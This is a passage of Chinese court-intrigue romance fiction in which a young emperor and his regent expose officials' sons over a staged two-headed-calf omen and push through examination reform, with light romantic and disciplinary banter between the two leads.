“装可怜没有用,你知道的。”沈衡稳如风,说,“还是卿卿不想被打手心,别的地方也想挨打了。”
清澈见底的水中,一双白皙的脚缩了起来。宋南卿连忙屈起腿把脚藏在后面,这次是真想哭了。
他被藤条抽过一次脚心,最嫩生生的地方平时都不见天日的,被抽起来难受的想死,又痒又痛。但最难熬的还是被罚完第二天走路,肿胀的脚心连地都沾不得。
马上就要祭祀了,需要走好多路,如果先生真要那么罚他,他哭都哭不出来。
“不要!我说、我说还不行吗!”
宋南卿低头酝酿了许久,终于想好了说辞,他俯身趴到沈衡耳边低语了几句,脸颊泛红。
“因为这个?”沈衡挑眉,似是不信。
宋南卿支支吾吾又理直气壮道:“很、很难受的!你都不教我怎么弄,我自己又弄不舒服,话本上说这样就可以让对方对自己感兴趣……然后、然后就可以……”他说不下去,把脸埋在人肩膀上不说话了。
总不能实话实说,告诉沈衡自己的计划,说我在钓你吧。
沈衡抬手轻揉了下他的头发,嘴角微抬:“原来不是因为那个书生吗?”
“谁?”宋南卿满脸疑惑,甚至想不出他说的是谁。
“那日你救的那个书生。”当着他的面亲自己,在服饰店演戏,他以为宋南卿是想利用自己,让对方吃醋……竟然是想岔了。
宋南卿本
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来撑着池子边缘要站起来,听到这话岂料脚下一滑,整个人重心不稳跌倒在了水里,被沈衡拦腰一抱才不至于滑下去。
炙热的手臂搂在腰间,宋南卿靠在人怀里,被巨大的水花浇了一脸,原本慵懒的思绪彻底清醒了。
他怎么没想到呢!他怎么就没想到呢!
对啊,可以说是因为阮羡之啊,说他喜欢阮羡之,想在沈衡身上先试验。话本子里的什么因爱生恨,替身情人,什么恨明月高悬却不独照我……
宋南卿悔不当初。
说不定还可以借此让沈衡有危机感,增加他的胜负欲,让他吃醋更喜欢自己呢,他怎么就没想到可以用阮羡之做借口!
他把脸埋在沈衡肩膀上,眼睛里毫无承认完自己欲望的羞涩,全都是对自己的反思。
宋南卿伸手揪住沈衡的衣摆,浸透了水的布料又滑又飘,像是拉不住似的。他把脸埋起来小声说:“我就算要喜欢也不会喜欢他吧。”
“喜欢谁?”沈衡偏头看他。
一缕发丝沾湿贴在了腮边,宋南卿藏住自己的表情,声音断断续续道:“不敢说了,怕你打我。”
一圈圈涟漪从水中央荡漾开,也映出了二人贴在一起的影子。澄明的窗户纸映衬着外头的光,但池子最角落里却是太阳照不到的地方,每个人都知道那是见不得光的地方。
沈衡静了片刻,说:“还吃荔枝吗?”
“不吃,我要吃葡萄,荔枝好吃但太难吃到了。”宋南卿推开他移动到了一旁。
沈衡凝眸:“卿卿是皇帝,该吃什么不该吃什么,不用我再教你。”
宋南卿转身趴在池边上,“你不让我好好吃荔枝,又不让我吃葡萄,哪有这样的道理。”他眼睛在四周扫了扫,皱眉道:
“春见,上次说让你找的那个彩色珐琅匣子呢?”
春见从长长的屏风后面走出来,感觉气氛有些不对,低头说:“回陛下,奴才找遍了那日从倭人处收缴来的宝物,那个匣子确实是不见了。”
宋南卿拍了一下水面,不悦道:“你没跟他们说朕要留着?”
那日那些珠宝器物装在大箱子里运来,他一眼就看上了那个匣子,想着放浴室装东西正好,他堂堂一国之君,好不容易看上一样东西,竟然说没有就没有了?
沈衡在一旁道:“还是那么喜欢这些精巧玩意儿,上次送你的扳指也没见你好好收着。”
微风穿堂而来,乳白色的飘纱和水中雾气吹散了不少,二人的面容都变得清晰起来。
听到他说这个,宋南卿倒也不惧,手掌撑着下巴趴在水边,眼睛看向人淡淡道:“朕看有人更想要摄政王的赏,所以赏他了,他可还欢喜?”
“你说御膳房总管?”沈衡瞥了池边一眼,“欢不欢喜不知道,只是前几日听说切肉时不小心把手指切掉了,看来是没这个福气承陛下的赏。”
宋南卿轻舔了下嘴角,慢慢移过去勾住了沈衡的手指,贴在人身边软声道:“我就知道先生还是对我好。”
沈衡垂眼看他,少年一双灵动的眸子亮晶晶的,还有一丝毫不避讳他的狡黠和自得。
“但那块翡翠我还想要的,毕竟是先生送我的。”他得了便宜还卖乖,伸手拉住沈衡,“而且我刚刚还损失了一个珐琅匣子。”
沈衡表情不变,眼波微动:“珐琅匣子找最疼你舅舅要去,户部那些东西都是他在管着。”
宋南卿从水中慢慢站起来,搭着春见伸过来的手从池中出来,看向沈衡说:“是我的就是我的,总有一天我会都拿回来。”
17.第十七章
前朝典故,说大盛朝高祖在立朝之前,也是受过艰难险阻的,草根未发家之时曾作僧人化缘,当时举国大旱粮食短缺,险些饿死,幸好一路到京郊,有心善之人布施米粥,才借此活下来。
但当他发迹之后来寻恩人,却得知恩人一家在大旱中因粮食短缺已经去世。为表感念之心,在京郊此处建立了祭坛,每年春日祭礼都会在此地开坛祭拜,祈福祈谷,祈求这年风调雨顺。
这块原来的京郊角落,现在的发展跟往日已不可同日而语,京兆尹几次搬迁后都搬到了此处不远。
高高的阶梯一阶接着一阶,最上方的青石平地上矗立着一座圆形的建筑,庄重的景泰蓝和孔雀绿在上方雕刻出龙纹图样,红色的大门上镶着金边,此刻正朝外打开。
里面的神像前跪着身着庄重繁复礼服的皇帝,他从沈衡手中接过三根香,笔直地插入香炉之中,低头拜倒之时,头上垂下的旒珠碰撞发出庄重的声响。众大臣跟随跪在殿外,行祭天之礼。在清雅肃穆的礼乐声中,沈衡宣读祭文的声音格外清正。
在钟声礼乐里,香炉里的烟随风飘散,像云又似雾,从宋南卿脸庞前飘过时,添了几分神性上去。
他跟随沈衡的礼赞词上香,行三跪九叩之礼,焚香气味熏得他有些喉咙痒,但又不能咳出来,脸边的玉珠串总会碰到脸,即使换过软垫子,他还是跪的膝盖有些疼。
终于,祭礼的第一道程序结束,宋南卿迫不及待从垫子上起来,手搭在沈衡的胳膊上支撑自己,左右晃了晃膝盖。
门外,穿着统一制服的仪鸾司侍卫动作整齐划一,抬着一个青铜鼎来到大殿门口正中央,在各种玉帛器物燃烧升起的青烟里,宋南卿缓步走近,观看着燔柴炉里青烟升腾。
他面前是大盛的一众官员,身后是沈衡和保佑生灵的神像,青烟升到半空,祥和之气向上蜿蜒。
腰间挂着短刀的侍卫后退一步,立在柴炉四角。宋南卿和其中一人对上了视线,眼神微动。
开坛祭祀完毕,宋南卿换了身衣服移动到了不远处的京兆府,突然提出想看看当地农户耕种。毕竟前几天他才在宫里亲自耕种过,想实地看看百姓劳作的样子。
京兆尹姚顺为他引路,恭敬道:“附近农田都是这些农户在种着,他们感念陛下恩泽,这次能得陛下亲自看望,必会感激涕零。”
路过一片绿叶繁茂的地方,就到了京兆府旁边的农田。太阳还未升高的时候,百姓们正在忙于耕种,皮肤黝黑一看就是经常沐浴阳光。
宋南卿面无表情踩死了一只爬到自己脚面上的毛毛虫,在田间地里看了看整齐播种的花生,对姚顺夸赞了两句。
正当他觉得风中吹来了树上的毛絮,感到脸痒之时,一个戴着帽子的农民,脸上洋溢着抑制不住的喜悦,跑到姚顺跟前道:“姚大人,大喜!草民家中母牛刚才产子,产下双头牛犊,是神牛下凡祥瑞之兆!”
“何人敢在贵人面前喧哗!”跟在宋南卿身后的一个官员皱着眉呵斥道。
宋南卿摆摆手,道无妨。他似是很感兴趣对那个农民问:“耕牛主农桑,是关乎社稷大事,你方才说双头神牛?”
那个农民看见京兆尹姚大人毕恭毕敬带着一群人过来,想来都是大官,所以他才跑上来报喜,希望得个赏赐讨个彩头什么的,但走进了才发现,中间那个明艳年轻的少年,好像才是众人簇拥的对象,他有一些诧异。
看着少年那双明亮的眼睛,他似乎瞬间就被那张脸吸引住了心神,只会重复道:“是……是双头神牛。”
“陛下,恕臣直言双头牛可不是什么祥瑞之兆,陛下还是不看为好。”礼部侍郎上前一步道。
那个农夫一双眼睛都瞪大了,听到这个称呼慌忙跪地,连磕头都忘了,就那么直勾勾看着宋南卿,似是要把这当朝天子的模样镌刻在脑海中一样,古铜色的手臂即将碰到宋南卿的鞋尖。
沈衡先一步挡住了宋南卿,侧过身挡住那个探究的目光,冷冷地瞥了农夫一眼。
宋南卿正在思考着什么,没关注农夫这边发生了什么,他问礼部侍郎:“李卿说这话何意?”
“《易传》中曰:牛生子,二首一身……”礼部侍郎跪地拱手,胡子颤颤,声音减弱道,“……天下将分之像也。”
现场众人的后背都感到一阵凉意,无人敢出一声。
宋南卿的眼神从礼部侍郎身上转到农夫身上,最后转到了京兆尹姚顺身上,他一言不发但压迫感已至。
姚顺的汗已经从额角流到了衣领,他轰然跪地,深吸一口气为自己辩解道:“陛下明鉴,这事绝不是微臣指使,全是这农夫自作主张!”
换下了冕服,除去了礼冠,这个祭天时上香、祭祀时祝文的天命之子,即使年少,在群臣心中的地位和形象也已经高高在上了。不管信不信神佛信不信天命,宋南卿,的的确确是大盛王朝万人之上的统治者,每一次行礼、每一次祝祷、每一次不得不考虑他的想法、得到他的首肯意见,都会在每个人心中加强这个印象。
很安静,露天的环境也依然很安静,宋南卿移动了一步,脚边的小石子被踢飞出去,落在不远处发出“啪嗒”一声响,正好盖住了那个没死透的毛毛虫。
“给朕查,查到底,朕倒要看看是谁敢在祭谷的档口上,传出这种谣言来。”
宋南卿的目光扫视过现场众人,对姚顺说:“为了防止传出京兆府监守自盗的言论来,你就先歇一歇,是不是清白朕自有判断,魏进。”
随着一声名字的唤出,身着藏蓝色斗牛纹官服的高大男人单膝跪地,黑靴白底跪的笔挺,双手抱拳低头道:“奴才在。”
“仪鸾司侍卫今日祭祀都在,你们以朕的名义探查这件事,务必查个水落石出,找出这个动摇民心国本的罪魁祸首。谁敢知而不言,格杀勿论。”宋南卿摸了下下巴,眼神清明,“事情未查出之前,各位先在京兆府一留。”
他嘴角轻挑对姚顺说:“姚大人不是说,前些日子自己种的菜吃起来很新鲜,也拿来给各位大人一起尝尝,自己辛苦种来的总比别人送来的吃着有滋味。”
————
京兆府邸,一众前来祭祀之人挤在大厅,人多口杂七嘴八舌,有人坐立难安,有人老神在在。姚顺做京兆尹做了有几个年头了,在自家官府,他从来没有一次像今天这样不自在。
他喝了一口下人端上来的茶,轻叹一声转身对贾良道:“大人,臣真的没料到会出这种事,借我十个胆子我也不敢当着陛下的面搞这种事情啊。”
贾良淡淡瞥他一眼,说:“既不是你,那么紧张做什么,罪魁祸首自会紧张,陛下也一定会查个水落石出。”
“可那农夫毕竟是我统辖范围内的……这天下将分之像……”
“姚大人,你要相信贾大人的话,况且这天下就算将分,是谁与谁分呢,你还怕火烧到你头上不成。”一个人站在姚顺身边轻声说。
贾良端坐上位不再言语。
距离那个农夫和相关人员被拉入京兆府大牢已经过去大半个时辰了,下面还是没有任何消息传来。随着时间推移,被以保护为名实则是禁足在原地的众人,不免心头划过一道阴影。
与此处的紧张氛围不同,西配殿中静谧悠然,月影纱做的屏风上隐隐约约透出里面的两个人影来。
深色木桌上放着一个深绿色的小瓷罐,还没有巴掌大。沈衡挽起袖子,用一根长柄银质勺从瓷罐里挖出了
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些许沁着玫瑰香气的膏子来,放在手心揉化了,才用指腹挑起轻轻涂抹在面前少年的脸颊上。
透粉的面颊上有过敏的趋势,深粉的印记从一处开始朝外扩散,冰凉的膏体涂抹在上面时,痒意才消散了一些。宋南卿坐在矮凳上垂着眼睛,嘴角朝下抿着。玫瑰药膏的香气连同眼前人衣袖里散发出的若有似无的香气混在一起,让他的心神得到了片刻放松。
他伸手搭在沈衡的大腿上,任由药膏一点点在面颊上铺开,百无聊赖扯着人衣服上的刺绣玩儿。
沈衡用手指抚过柔嫩细腻的脸颊,每一寸皮肤都被一点点抚过,他动作认真也温柔,曾经握剑拉缰绳的手做起这种细致活来,也日益熟练了。
动作太轻,若有似无,宋南卿觉得痒,微微偏过头,手指在脸颊处停留,按出一个浅浅的凹陷,正好是梨涡的位置。
人影和屏风上振翅欲飞的蝴蝶重合,蝴蝶触角就停留在二人影子的相交位置,宋南卿呼出的温热鼻息洒在人手上,时断时续。
他微低着头看沈衡衣袍上的竹叶刺绣,日光斜斜照进来,那枚蝴蝶影子移动到了他的头顶,他轻晃了下脑袋,说:“这边感觉更难受一点。”
另一侧脸被他偏过来对准了沈衡。
“知道自己过敏,还要到这种不干净的地方来。”沈衡抬指抵住他的下巴,打量起他的脸,道,“难受是应该的。”
宋南卿抬眼对上他的目光,“总不能等脏东西蔓延到龙椅上了,我再清扫,那时候就太迟了。”
“不知道先生还记不记得,我小时候有一个喜欢的瓷鸟哨,我可以用它吹出母亲喜欢的曲子。但是九哥他们欺负我,那个哨子也被他们摔碎了,再也拼不起来。”他透过屏风看着外面的树梢,“那个时候我就想,抢走我东西的人,我一定会让他付出百十倍的代价偿还。”
沈衡拿过旁边的湿帕子擦手,微微颔首道:“这个是自然,以直报怨是论语倡导的。”
“卿卿熟读论语我很欣慰,但我不记得教你读过《易经》。”沈衡淡淡说。
宋南卿眨了下眼睛,说:“教过的,先生教了我许多,大抵是忘了。”
二首一身,天下将分。如今能与宋南卿分天下的,除了以贾良为首的那一帮人,就只有摄政王沈衡。至于那些与他同父异母的皇兄们,死的死流放的流放,唯一还在京城的九王也是身体不好一直抱恙,已经许久未出来活动了。
这个双头牛出现的蹊跷,此次探查宋南卿完全没有让旁人经手,但有点脑子的人都知道,这个谣言的指向者,也就是非上面二位莫属。到底是否是谣言,怎么处理很重要。
如果是天意,那么宋南卿的皇位岌岌可危,如果真的有作乱之人,那就是蓄意扰乱朝廷有分裂图谋。双头牛这个局,做局之人只会有三个,受益人也只会有两方。
作为有二分之一概率传谣言的受益方,沈衡好像并没有引起宋南卿的怀疑,小皇帝被涂完药膏之后趴在桌上,张开嘴对着他指使:“我要吃那个梅子。”
那双眼睛依旧那样天真、澄澈、充满依赖和信任,沈衡却从他身上看到了自己从前的影子。
一颗青梅被送进宋南卿嘴里,他皱起脸口齿不清道:“酸……好酸!”
就在他被酸到流口水,到处找东西要吐出嘴里的梅子时,沈衡一只手盖住了他的嘴,道:“自己要吃的就吃完。”
宋南卿扒拉着他的手臂胡乱扑腾,含糊谴责道:“放开我……你这是欺负小孩!欺负了我等会儿要帮我的!”
“又让我帮你?那我可得欺负够本儿。”沈衡捏着他的脸说。
屋外门被敲响,魏进严肃正直的声音从门外传来:“陛下,有新发现。”
18.第十八章
京兆府的大堂设计的很大,对面正对着大门,透过打开的窗户可以看见府门出来进去的人,门口训练有素身量高大的侍卫分两排镇守。
一开始众人心怀鬼胎坐着,但当看见不断有自家子孙辈的孩子被带到这里,在侍卫的押送下前往地牢方向之时,都慌起神来,争着要闯出去。
仪鸾司侍卫刀一拔,寒光闪现的刀尖就已经抵在各位大人的脖子上了。在场能跟着来祭祀的,都是职位不低的高官,他们除了在上级面前卑躬屈膝,已经很久没有遇到过敢对自己如此放肆的人。但刀剑不长眼,这些带刀侍卫不讲什么情理也不跟他们废话。
眼看着金尊玉贵的高官之后一个个进入地牢,众人都在心里带着恐惧想:到底是得罪了谁?
“贾大人,您说句话啊,大家平日可都以您马首是瞻,陛下今日到底要做什么,您老倒是跟大家透个底啊。”
“就是啊,哪有不让人出去的道理,您跟陛下好好说说,这事真不是我们干的,找罪魁祸首抓我们这些无辜的人做什么。”
在吵嚷声中,一道沉重靴子踩在地面的声音由远及近传来。
来人身上带着血腥和寒气,斜挂在腰间的刀随着走路的动作摇晃,他扫视过在场的一众大臣,念出了几个名字,正是刚刚子孙一辈被带入地牢的几位。
“各位大人,陛下有请。”
令人不寒而栗的眼神扫过,几个大臣纷纷拿眼神去看贾良求助,贾良没什么反应。他完全不知道这是怎么一回事,就算这些人是跟他交好的下属,但他在这个位置上也没别的办法,因为如果是冲着这些人来的,那就是冲着他来的,最终总会让他去的。如果轻举妄动求情,反而就落入陷阱了。
京兆府正殿大堂地板上铺着青色方砖,中间一尺高的木台被四根柱子围绕,惊堂木旁边是两种颜色的令签筒,象征海晏河清的壁画前,宋南卿端坐在上,他摸了一把砚台,表情凝重。
被压着跪在下面正中间的那个农夫被捆住双手,从面色看是受了一些拷问,此时如受了惊的寒蝉,跪趴在地一个劲打哆嗦。
“把你刚刚说过的话,再清楚说一遍,是谁指使你今日来以双头牛之事报喜?”宋南卿一拍惊堂木,清亮的音色此时压低了一些,也带上了某种不知名的压迫感。
那个农夫哆哆嗦嗦说:“那日郗家公子大婚,小人作为郗家庄子上的租客,带了些土特产和野鸡前去贺喜,小人……每月会给各位公子带野味和…和一些小玩意儿,那日公子们喝多了高兴,跟小人多说了一些。”
“这双头牛,就是他们告诉小人,说今日府尹招待贵客,可去讨个彩头,如果成功了,也是我自己的造化。这双头牛不是小人故意谣传,是他们指使的啊大人!”
被扣押在一旁的几个官宦子弟都面露愤懑,还有指着他想开骂的,都被仪鸾司使按了下来。
宋南卿撑着下巴看向那群衣冠楚楚的子弟,问农夫:“你说的可是他们?”
农夫扭头看向那个方向,然后慌忙点头:“正是。”
宋南卿问:“你们有何话要说?”
平时肚子里没二两墨水只晓得骑马玩乐的世家子弟们明显慌了神。
宋南卿嘴角微挑:“这样吧,你们的父辈都是朕的肱骨之臣,你们自己说,谁是那个主使,其余人我念在你们自愿认错的份上,从轻发落。”
两排侍卫站在大堂左右,当今圣上亲自问责,更别提旁边还坐着那个,他们小时候一听见名头就会被吓哭的摄政王沈衡。传说他连斩十个敌人首级穿成串,而且最讨厌不听话的小孩。虽然这些传言随着他们长大知道这是夸张,但哪个京城孩子没被摄政王的阴影笼罩过呢。
此时那些大臣们还没被放进来,他们以为自家小孩还被关在地牢。众人你一言我一语,都想推卸责任,但他们还没有蠢到真的认罪。
沈衡坐在一旁开口道:“你一介农夫,有什么小玩意能让他们看上眼,月月去送?”
宋南卿手指在桌面轻敲了下,叫道:“魏进。”
魏进站在一旁低头道:“奴才探查清楚了,这个农夫的妻子平时在市集做小生意,他还有个弟弟,前月才在衙门里做了个小官,是受各位大人的公子引荐的。”
魏进一靠近,那个农夫就哆嗦着被吓得想跑,魏进站在他身边道:“双头牛谣言是谋逆大罪,他们推你出来传谣其实是害了你,如果识相一点说出主使,陛下自会公平决断,如若不然,刚才牢里的情况你也见到了,不止你,你的家人都会因为谋逆罪名被杀头。”
宋南卿两指捏起签筒里的一个黑色令签,左右晃了晃懒懒道:“还等着他们救你呢?你看他们有救你的意思吗?别跟他废话了,剁两根手指就什么都说了。”
“别在这儿剁,脏了陛下眼睛。”沈衡在旁边接话道。
魏进应了一声就要拖人下去,农夫大叫一声拼命拽着地上的垫子不肯放手,声音凄然道:“别!我说…我什么都说。”
京兆府的墙体很厚,地牢里无论多难听的声音都传不到上面来,内外也一样。当被叫到名字的大臣穿过一道爬山虎叶覆盖满的拱门后,看见自家子侄被仪鸾司侍卫扣押在原地,离得远了什么都听不见,他们着急忙慌往大堂赶,正要进门的时候,和旁边方向一道高大清瘦的身影撞在了一起。
那人看样子也很着急,被撞倒了也只是轻拂了下衣衫灰尘,随即迈着步伐朝大堂走去。
“这人谁啊,连句话都不说的。”兵部尚书被无视后,看着他的背影谴责道。
“你做官晚接触的不多,此人是郗文康,年轻时才情出众,但言行不慎得罪了先帝被罢官,一直赋闲在家呢。”旁边人解释说,随即疑惑道,“不过他已经许久不问世了,他怎么会来。”
京兆府大堂内,宋南卿一袭深蓝色云纹滚边衣袍,黑色腰带束在腰部显得精神十足,他垂眼坐在中间台前,对着依次向自己行礼的众大臣看去,最后目光落到了边角那个清瘦的身影上。
“情况就是如此,朕竟不知道什么时候买官成了一件如此稀松平常的事,在你们这些世家子弟眼里,成了敛财的工具,以至于有今天这种大逆不道危害朝廷的谣言传出来!”宋南卿让魏进把农夫为自己弟弟买官的事情简单说了一下,皱起眉头大怒。
这群人不学无术也罢了,仗着自己父兄手里那点权力,随便说两句话就能把随便什么人塞进官僚体系中做个小官捞油水,他们一个个都是族中的掌中宝,说几句话安插个人是手到擒来的事,但背地里收了人家大把银钱挥霍。因为大盛的文官每月俸禄并不多,靠两袖清风做官那真是两手空空。
那天郗家长子结婚,他们喝多了之后胡说了两句典故,真让那来送礼的农夫听去想讨贵人欢心博前程,只是没料到马屁拍到了马腿上,差点酿成分裂天下的大祸。
宋南卿沉下声音说:“只是不知这件事只有他们这些小辈品行不端,还是各位有所授意呢?”
别有深意的眼神扫过众人,他们背后出了一层薄汗。但以往这种时刻,都有贾良坐镇,他们这些世家门阀的权力都有贾大人保障着,再不济,还有王潜那个一张嘴叭叭说不停的为他们的共同利益辩解,但现在,二人都不在,他们这些习惯了有人庇佑的除了一个劲认错保证之外,说不出什么花来,只能说自己绝对没有谋逆不臣之心,双头牛天下将分的谣言也都是小辈胡说的,绝对没有他们半分授意。
“有心也好,无心也罢,之前陈立文说科举改制之事朕还不以为然,但如今看来,再那么下去,世家子弟不学无术靠家世荫庇就能轻松做官,他们也没有努力上进真才实学的必要。对个人,长成废材是可以预见;对家族也是拖累;对朝廷而言,更是培养一群蛀虫。”
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>宋南卿甩了甩袖子道。
“别说什么年纪小不懂事的话了各位大人,在座有几个比陛下年纪还小的?”沈衡听见众人辩解吵闹的声音,出声道,“年级小的可不是都不懂事,各位教的不好可别都把责任推到孩子身上。今日涉事子弟禁足三个月,父兄罚俸半年,有异议吗?”
沈衡坐在侧边椅子上,头顶悬着巍峨端正的泰山红日图,此话一出,众人安静。
三月之后,正是科举之日,此道旨意一旦发出,此次在郗家宴会上涉事的就无缘此次科举了,而下一次,还要再等三年。
“之前御史陈立文把科举改制的草案交到了礼部,陛下一直惦记各位都是大盛肱骨之臣,子弟也应多受庇护,一直没有启用。但事到如今,各位还有何话要说?”沈衡截断了想要说话的户部侍郎,“知道你要说什么,还是钱的事。他们私底下收了那么多行贿钱款,陛下脾气好,只是罚他们谣言之事小惩大诫,真追究下去,你以为只是禁足就能了事吗?”
宽阔的房间里回荡着沈衡说一不二的声音,他虽然不坐在正位,但事关要紧的事全都是他在发言,宋南卿甩着袖子在玩桌上两种颜色的令签筒。
“今日之事只有在座各位知晓,从买官里获了多少利本王不管,这次科举改制需要的钱款,你们补上,此事就算翻篇,三年之后诸位子弟坐新的考场,如若不然,回去坐地牢。”沈衡说话直接又简单粗暴,平淡着一张脸端着儒雅的派头,说出的话却是像土匪头子一样直接威胁。
宋南卿偏头看向沈衡,在心里默默鼓了下掌。
此时,刚刚一直站在角落未置一词的郗文康出言道:“陛下,今日之事都是在我郗家宴席上发生,郗家难辞其咎,草民愿意代表郗家为科举场所修缮捐助钱款,也算是为朝廷尽一点心意。”
他在家听说前些天郗渐大婚时请来的世家子弟,都被带走拷问,郗渐父亲他的二弟被外派巡视回不来,郗渐又跟着新娘子回娘家了,怕为郗家招来祸患,他才赶紧来看看到底是出什么大事。
宋南卿垂眼看他,这个他娘亲写在书信中的男人确实有和旁人不同的风姿,至今仍然未婚。如果当年母亲没有被父兄强迫入宫,大概这一生会过的更幸福吧,不过那样的话就没有他了。
他不着痕迹打量了郗文康几眼,说:“郗家有如此风骨,倒是让朕耳目一新。”
“朕之前听闻,你善建造制图,可有其事?”
郗文康还是第一次见当今圣上,自他被罢官之后,虽然弟弟还在朝廷活动,但他本人已经避世许久,现在这个少年天子,是前朝贵妃贾娴之子……他怎么也想不到,最后会是他当上了皇帝。
宋南卿的眉眼间有他母亲的样子,微微上挑的眼尾,跟贾娴一脉相承。郗文康不敢多看,连忙低头回话道:“草民只是略有研究,称不上擅长。”
他曾经主管过翰林院的建造修缮,在工部任职,不做官回家之后也给人设计园林建造,在他年轻时,人人都称赞他才情出众,是不世出的天才,连神童郗渐,大家都说是继承了大伯的天赋。只是一步踏错惹先帝厌弃,这才闲赋在家。
宋南卿点头道:“略有研究已足够,既然你为科举场所修缮捐了银子,那么只有你来亲自规划,朕才能确保每一两银子都用到它该去的地方去。”
“郗家长子大婚本是喜事,你也预料不到会有人在宴席上生出这许多事来,既是刚刚大婚,就别让这些是非给喜事添上晦气了,你安心去工部做事就好。”
郗渐也是今年科考,有了陛下这句话,他就不必因着这事被牵连了。
宋南卿在即将散场之时,端起茶杯没送到嘴边,似是突然想起什么似的对沈衡说:“那日我去舅舅府上,还看到他在为寒门子弟开设小课堂教学,同为人臣,有人教子不严惹出祸事,有人两袖清风为百姓纳福,着实天壤之别。”
19.第十九章
二人说话虽轻,但在场许多人都听到了。
他们教子不严确实有错,但贾良之子贾士凯就是什么好东西吗?那日郗家宴请贾士凯没去,是因为言官在陛下面前说他在青楼和人大打出手,弹劾贾良家风不正。被贾良以请家法后受伤卧床不能外出为由,禁足在家里了。
想到这儿,在场几位一直以贾良马首是瞻的大臣相互对了个眼神。
收人钱款给个小官做这事,最后的拍板决定权还是在贾良手里,那天喜宴贾士凯没去,到底是真被打了,还是贾良知道那天会出祸事才故意不让自己儿子去淌这趟浑水…这些年他们追随贾良,赚了不少银子也送出去不少礼,不就是为了自己、子孙挣个好前程吗?
今日事发,京城权贵圈子里四分之一子弟无缘此次科举,就算扩大了平民入科考比例,但在权贵圈子里,能和贾士凯相争的没有几个人了,他岂不是稳稳入仕?看摄政王和陛下的意思,科举要改制,以后入朝为官就没有那么容易了。
今日这腌臜事贾良半分没沾染,在陛下那里依然是清清白白的首辅,贾士凯也没像自己子孙一般在陛下面前留下坏印象。但说起受贿贪污,说起来钱权交易,他们只是贾良手下的刀罢了,真正的罪魁祸首端坐云端,反而是他们这群吃他手指缝里露出几个银子的小鱼小虾,又是赔钱又是禁足无缘科考,真是赔了夫人又折兵。
贾大人今日那副事不关己的样子,到底是真不知道,还是料定了他们就算被做局也无可奈何?若有一日真的东窗事发,陛下到底是会信他们都是受贾良指使,还是信他自己的亲舅舅?
散场时一众人鸦雀无声,等出了京兆府,才有人遮住嘴道:“这样一来,户部倒是不用担心拿不出银子的事了。”
“我们被设计了。”
他们都以为今日双头牛一事要么冲着陛下来的,要么冲着摄政王或者贾良来的,没想到啊没想到,谣言重重拿起又轻轻放下,原来一切是冲着他们口袋里的银子来的。
看谁是做局人,就看谁从中获利最大。
一阵西风吹过卷起了树上的叶子,本来已经变暖的天气因为这阵冷风,又变得凉了起来。端午将至,宫中人人都为了这个即将到来的节日忙了起来。
御膳房换了个新总管,尤其擅长精巧点心,因着端午,这日特意做了艾草窝窝和五毒饼来。
长长的屏风上画着青绿色的茂盛树木,大刀阔斧般泼墨的花树开得耀眼灿烂。宋南卿披着刚洗完的头发躺在摇椅里,如丝绸般顺滑黑亮的长发被搭在专门的木架子上散开,每一丝头发都被均匀摊开铺在阳光下。他身上随意穿了件浅绿色的袍子,金线织就的纹路在阳光下反射出明媚的光芒。
春见端着御膳房送来的点心上前,对躺在摇椅里晃晃悠悠即将要睡着的宋南卿轻声道:“陛下,御膳房新做的时令点心,您要不要尝尝。”
太阳照在人身上暖洋洋的,宋南卿懒懒抬起胳膊,袖子从手腕滑过,露出细细的一截腕骨,他闭着眼抬手摸去,手指没碰到什么,反而一个带着植物清香的东西触碰到了自己的嘴唇。
宋南卿快速睁开眼,问责还没出口,就看到了一抹熟悉的身影。
来人身姿挺拔气质如青松,有山岳压顶之势,高挺的鼻梁宛如刀削,眉眼如墨透着冷峻,但在看向他时却目光灼灼。不知何时进来的沈衡已经坐在了他旁边的圆凳上,一块小小的绿豆糕被他捏在指尖凑到宋南卿嘴边。
宋南卿半靠在躺椅里,圆圆的眼睛抬起看他,对着绿豆糕轻咬了一口。
“新来的厨子不错。”他轻舔了嘴角的碎屑,搭在架子上的头发也随之晃了晃。
沈衡伸手摸了把他的发丝,潮意已经很轻,差不多晾干了。丝滑的长发在指缝溜走,还有皂角特殊的香气。
宋南卿握住人的手朝上抬,说:“这个很好吃哎,你尝一下。”
四方的绿豆糕被咬了一个边角,沈衡看了两眼,连带着咬下来一半。
宋南卿起身眼睛亮亮地盯着他,似是期待他的反馈。长长的青丝从架子上滑落在空中扬起,又很快散落贴在了背上。一缕风吹来,淡绿色的衣摆轻轻扬起,和黑发一起飘在风中,也让刚刚沐浴过后的清爽香气一起在风中弥漫。
“还不错。”沈衡吃完后发表意见,随手拿起帕子给宋南卿擦去嘴角的碎屑。
宋南卿不满意,抱住他的手臂说:“明明就是很好吃好不好!先生太挑剔了。”
沈衡拎起他胸口散开的衣领朝里拢了拢,问:“那么喜欢这个厨子?”他眼神微沉。
阳光照在裸露的肌肤上,朦胧又带着特殊的光泽感,宋南卿躺的随意,刚刚动作幅度又大,被他捏住衣领感觉不舒服,伸手推了推他,衣领散开露出了胸前的大片皮肤和锁骨。
“把衣裳穿好,九五至尊,像什么样子。”沈衡坐在一旁眼睛微垂,声音带着不悦管教道。
宋南卿低头看了几眼,扁扁嘴不服道:“又没有外人,平时里三层外三层穿那些衣裳已经够累了,在我自己寝宫里还不能随意吗?先生好凶!”
“刚帮了你,就是那么回报的?”沈衡捏住他的衣领边缘,声音听不出喜怒,“端午京里官员举办龙舟祭神,之前都是贾府组织,今年郗家也出人办这事了。”
宋南卿来了兴趣,忙把手中的茶放下,凑近了点问他:“但这龙舟祭神向来都只有一个主家,郗家也出面,那大家是去谁的那边是?”
沈衡的手指在摇椅边缘轻点,眼珠又黑又亮,“情况当然是如你所愿。”
自双头牛一事世族子弟大部分受惩罚,在心里都对贾良有了或多或少的猜忌和怀疑,反而是那个他的死对头郗家被圣上重新启用,还一来就是修造科考所这种大事。大家都知道当年贾良和郗家郗文康闹的很不愉快,两家不睦已经久已。比起笑里藏刀的贾良,大家今年更多地去了为人正品清高的郗文康那边去。
一来是想看看郗家有没有翻身再起的可能,二来,他们被那日贾良的做派寒了心。一家独大他们只能追随贾良,就算背黑锅、被卸磨杀驴、赚不到足够的收获也无可奈何,但如果郗家起来了,一切都不一样了。
宋南卿睁大眼睛,嘴边浅浅挤出一道窝,眼神灵动望向沈衡说:“有先生在,我自然想要什么得到什么。”
“端午祭神我之所以不去凑热闹,就是因为神在我面前呢。”他抬高胳膊抱住沈衡,仰起脸笑着说,圆圆的眼睛弯成了月牙的形状,身上沐浴后的清香直往人鼻子里钻。
